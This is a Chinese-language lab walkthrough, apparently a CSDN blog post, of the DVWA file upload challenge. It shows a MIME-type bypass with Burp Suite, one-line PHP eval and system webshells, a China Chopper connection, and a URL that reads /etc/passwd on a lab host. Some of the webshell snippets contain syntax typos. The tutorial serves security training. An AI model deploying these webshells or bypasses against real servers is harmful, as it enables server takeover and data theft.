DVWA中的upload(文件上传漏洞)

 原理: 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。常见场景是web服务器允许用户上传图片或者普通文本文件保存,而用户绕过上传机制上传恶意代码并执行从而控制服务器。显然这种漏洞是getshell最快最直接的方法之一,需要说明的是上传文件操作本身是没有问题的,问题在于文件上传到服务器后,服务器怎么处理和解释文件。

准备:打开靶机后查看IP地址,在攻击机浏览器访问,进入dvwa页面

1.low等级:

低等级的没有做任何的防护所以上传图片类型或者php类型的文件都可以返回成功
**

2.medium等级:

**
提交php类型的文件发现失败,查看源代码:

发现要求必须是image或者jpeg类型的文件,注意不是格式是mine类型,所以我们可以通过burpsuite进行拦截将文件类型修改。
在这里插入图片描述
可以看到类型是二进制的字节流,所以我们将其改成image/jpeg,如下:
在这里插入图片描述
点击forward放行,可以看到上传成功
在这里插入图片描述
在提示成功前有一个目录,我们将其复制在url后,将#去掉再复制
在这里插入图片描述
然后回车键,此时如果是图片文件则会显示出来图片,如:
在这里插入图片描述
而我们现在是一句话木马的php文件所以我们将这个网址打开然后利用菜刀打开
在这里插入图片描述
地址写我们复制的网址:
在这里插入图片描述
密码是我们写入shell1.php中括号里的部分,如我们写的是

<?php @eval($_POST['chopper']);?>所以密码就是chopper,其中的@,‘’可以去掉

在这里插入图片描述
可以右击打开文件管理,于是我们可以找到我们上传的文件,可以修改删除等操作,还可以操作其他目录下的文件。
在这里插入图片描述
还可以打开终端,使用命令行的方法查看修改等如下:
在这里插入图片描述
当然如果我们在添加的时候配置数据库的话则可以右键选择数据库管理,在窗口输入SQL语句进行查看,如:select * from mysql.user等。
然后如果说我们想在靶机执行命令删除我们上转的文件的话,可以执行下列命令:
在这里插入图片描述
扩展:webshell分为小马和大马
小马:一句话木马,只有一行代码,一般是系统执行函数
大马:会进行二次编码加密
shell2.php #eval 使用php函数,例如phpinfo();在这里插入代码片

<?php eval($_REQUEST[‘wenying’];?)>

http://192.168.91.132/dvwa/vulnerabilities/uploads/shell2.php?wenying=phpinfo();

shell3.php #system 使用Linux系统命令,例如ls,cp,rm

<?php system($_REQUEST[‘wenying’];?)> http://192.168.91.132/dvwa/vulnerabilities/upload/shell3.php?wenying=cat /etc /passwd `在这里插入代码片`中国菜刀: <?php @eval($_POST['chopper']);?>

说明:REQUEST是在页面输入变量访问,POST是使用菜刀之类的工具链接,是C/S架构(客户端/服务端)。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值